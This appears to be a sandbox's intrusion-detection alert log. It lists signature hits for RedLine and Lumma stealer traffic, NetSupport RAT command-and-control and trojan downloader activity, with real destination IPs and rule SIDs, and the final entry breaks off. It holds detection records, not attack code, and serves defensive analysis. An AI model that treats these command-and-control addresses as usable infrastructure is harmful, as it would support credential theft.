ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350263812046045 12/06/23-14:35:58.892261
SID:	2046045
Source Port:	50263
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350334812046045 12/06/23-14:36:47.909549
SID:	2046045
Source Port:	50334
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350268812046045 12/06/23-14:36:02.185549
SID:	2046045
Source Port:	50268
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350352812046045 12/06/23-14:36:59.810575
SID:	2046045
Source Port:	50352
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350245812046045 12/06/23-14:35:46.787174
SID:	2046045
Source Port:	50245
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350286812046045 12/06/23-14:36:14.346391
SID:	2046045
Source Port:	50286
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350264812046045 12/06/23-14:35:59.558216
SID:	2046045
Source Port:	50264
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350368812046045 12/06/23-14:37:11.445584
SID:	2046045
Source Port:	50368
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350270812046045 12/06/23-14:36:03.477604
SID:	2046045
Source Port:	50270
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350261812046045 12/06/23-14:35:57.535196
SID:	2046045
Source Port:	50261
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350301812046045 12/06/23-14:36:24.319593
SID:	2046045
Source Port:	50301
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350279812046045 12/06/23-14:36:09.427188
SID:	2046045
Source Port:	50279
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350350812046045 12/06/23-14:36:58.477999
SID:	2046045
Source Port:	50350
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.5 - Destination IP: 159.223.29.40

Timestamp:	192.168.2.5159.223.29.4049730802839343 12/06/23-14:33:21.497166
SID:	2839343
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350288812046045 12/06/23-14:36:15.727049
SID:	2046045
Source Port:	50288
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350338812046045 12/06/23-14:36:50.569356
SID:	2046045
Source Port:	50338
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350344812046045 12/06/23-14:36:54.501584
SID:	2046045
Source Port:	50344
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350285812046045 12/06/23-14:36:13.685357
SID:	2046045
Source Port:	50285
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350291812046045 12/06/23-14:36:17.724996
SID:	2046045
Source Port:	50291
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350255812046045 12/06/23-14:35:53.486217
SID:	2046045
Source Port:	50255
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350258812046045 12/06/23-14:35:55.450063
SID:	2046045
Source Port:	50258
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350353812046045 12/06/23-14:37:00.456748
SID:	2046045
Source Port:	50353
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350347812046045 12/06/23-14:36:56.459765
SID:	2046045
Source Port:	50347
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350249812046045 12/06/23-14:35:49.517021
SID:	2046045
Source Port:	50249
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NetSupport RAT CnC Activity - Source IP: 192.168.2.5 - Destination IP: 95.142.47.11

Timestamp:	192.168.2.595.142.47.114971812032827745 12/06/23-14:33:18.908166
SID:	2827745
Source Port:	49718
Destination Port:	1203
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350314812046045 12/06/23-14:36:33.067223
SID:	2046045
Source Port:	50314
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350349812046045 12/06/23-14:36:57.813215
SID:	2046045
Source Port:	50349
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550196802048094 12/06/23-14:35:05.671865
SID:	2048094
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350283812046045 12/06/23-14:36:12.083206
SID:	2046045
Source Port:	50283
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550196802048093 12/06/23-14:35:05.393985
SID:	2048093
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350320812046045 12/06/23-14:36:37.012244
SID:	2046045
Source Port:	50320
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350355812046045 12/06/23-14:37:01.752652
SID:	2046045
Source Port:	50355
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350308812046045 12/06/23-14:36:28.952581
SID:	2046045
Source Port:	50308
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350266812046045 12/06/23-14:36:00.860284
SID:	2046045
Source Port:	50266
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350294812046045 12/06/23-14:36:19.720749
SID:	2046045
Source Port:	50294
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350272812046045 12/06/23-14:36:04.780598
SID:	2046045
Source Port:	50272
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350325812046045 12/06/23-14:36:40.326068
SID:	2046045
Source Port:	50325
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350361812046045 12/06/23-14:37:06.857535
SID:	2046045
Source Port:	50361
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350331812046045 12/06/23-14:36:44.280145
SID:	2046045
Source Port:	50331
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350366812046045 12/06/23-14:37:10.126303
SID:	2046045
Source Port:	50366
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350277812046045 12/06/23-14:36:08.103794
SID:	2046045
Source Port:	50277
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350319812046045 12/06/23-14:36:36.357919
SID:	2046045
Source Port:	50319
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350299812046045 12/06/23-14:36:22.998701
SID:	2046045
Source Port:	50299
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350293812046045 12/06/23-14:36:19.055677
SID:	2046045
Source Port:	50293
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350336812046045 12/06/23-14:36:49.242148
SID:	2046045
Source Port:	50336
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350327812046045 12/06/23-14:36:41.646083
SID:	2046045
Source Port:	50327
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350284812046045 12/06/23-14:36:12.740748
SID:	2046045
Source Port:	50284
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350247812046045 12/06/23-14:35:48.186162
SID:	2046045
Source Port:	50247
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350275812046045 12/06/23-14:36:06.769942
SID:	2046045
Source Port:	50275
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350345812046045 12/06/23-14:36:55.159061
SID:	2046045
Source Port:	50345
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.5 - Destination IP: 37.1.198.251

Timestamp:	192.168.2.537.1.198.25150187802839343 12/06/23-14:35:39.174213
SID:	2839343
Source Port:	50187
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350309812046045 12/06/23-14:36:29.696042
SID:	2046045
Source Port:	50309
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350250812046045 12/06/23-14:35:50.167908
SID:	2046045
Source Port:	50250
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350312812046045 12/06/23-14:36:31.744103
SID:	2046045
Source Port:	50312
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350303812046045 12/06/23-14:36:25.632684
SID:	2046045
Source Port:	50303
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350318812046045 12/06/23-14:36:35.709561
SID:	2046045
Source Port:	50318
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350321812046045 12/06/23-14:36:37.678957
SID:	2046045
Source Port:	50321
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350330812046045 12/06/23-14:36:43.615057
SID:	2046045
Source Port:	50330
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350251812046045 12/06/23-14:35:50.825474
SID:	2046045
Source Port:	50251
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350311812046045 12/06/23-14:36:31.045970
SID:	2046045
Source Port:	50311
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350257812046045 12/06/23-14:35:54.795722
SID:	2046045
Source Port:	50257
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350340812046045 12/06/23-14:36:51.889892
SID:	2046045
Source Port:	50340
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350274812046045 12/06/23-14:36:06.102370
SID:	2046045
Source Port:	50274
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350346812046045 12/06/23-14:36:55.814799
SID:	2046045
Source Port:	50346
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350363812046045 12/06/23-14:37:08.174720
SID:	2046045
Source Port:	50363
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350298812046045 12/06/23-14:36:22.345639
SID:	2046045
Source Port:	50298
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350364812046045 12/06/23-14:37:08.818539
SID:	2046045
Source Port:	50364
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350317812046045 12/06/23-14:36:35.040401
SID:	2046045
Source Port:	50317
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350322812046045 12/06/23-14:36:38.345066
SID:	2046045
Source Port:	50322
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350328812046045 12/06/23-14:36:42.306155
SID:	2046045
Source Port:	50328
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350256812046045 12/06/23-14:35:54.137806
SID:	2046045
Source Port:	50256
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/TrojanDownloader Variant Activity (GET) - Source IP: 192.168.2.5 - Destination IP: 104.21.52.223

Timestamp:	192.168.2.5104.21.52.22349705802047660 12/06/23-14:33:00.564607
SID:	2047660
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350369812046045 12/06/23-14:37:12.112948
SID:	2046045
Source Port:	50369
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350292812046045 12/06/23-14:36:18.389256
SID:	2046045
Source Port:	50292
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350362812046045 12/06/23-14:37:07.522278
SID:	2046045
Source Port:	50362
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350365812046045 12/06/23-14:37:09.468071
SID:	2046045
Source Port:	50365
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350267812046045 12/06/23-14:36:01.508627
SID:	2046045
Source Port:	50267
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350359812046045 12/06/23-14:37:05.563977
SID:	2046045
Source Port:	50359
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350307812046045 12/06/23-14:36:28.273610
SID:	2046045
Source Port:	50307
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350276812046045 12/06/23-14:36:07.453180
SID:	2046045
Source Port:	50276
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350310812046045 12/06/23-14:36:30.384232
SID:	2046045
Source Port:	50310
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350313812046045 12/06/23-14:36:32.405793
SID:	2046045
Source Port:	50313
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350252812046045 12/06/23-14:35:51.486831
SID:	2046045
Source Port:	50252
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350341812046045 12/06/23-14:36:52.546584
SID:	2046045
Source Port:	50341
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350304812046045 12/06/23-14:36:26.286831
SID:	2046045
Source Port:	50304
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350335812046045 12/06/23-14:36:48.579507
SID:	2046045
Source Port:	50335
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350246812046045 12/06/23-14:35:47.521454
SID:	2046045
Source Port:	50246
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350329812046045 12/06/23-14:36:42.957751
SID:	2046045
Source Port:	50329
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350282812046045 12/06/23-14:36:11.427578
SID:	2046045
Source Port:	50282
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350356812046045 12/06/23-14:37:02.409479
SID:	2046045
Source Port:	50356
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350273812046045 12/06/23-14:36:05.431652
SID:	2046045
Source Port:	50273
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350254812046045 12/06/23-14:35:52.820317
SID:	2046045
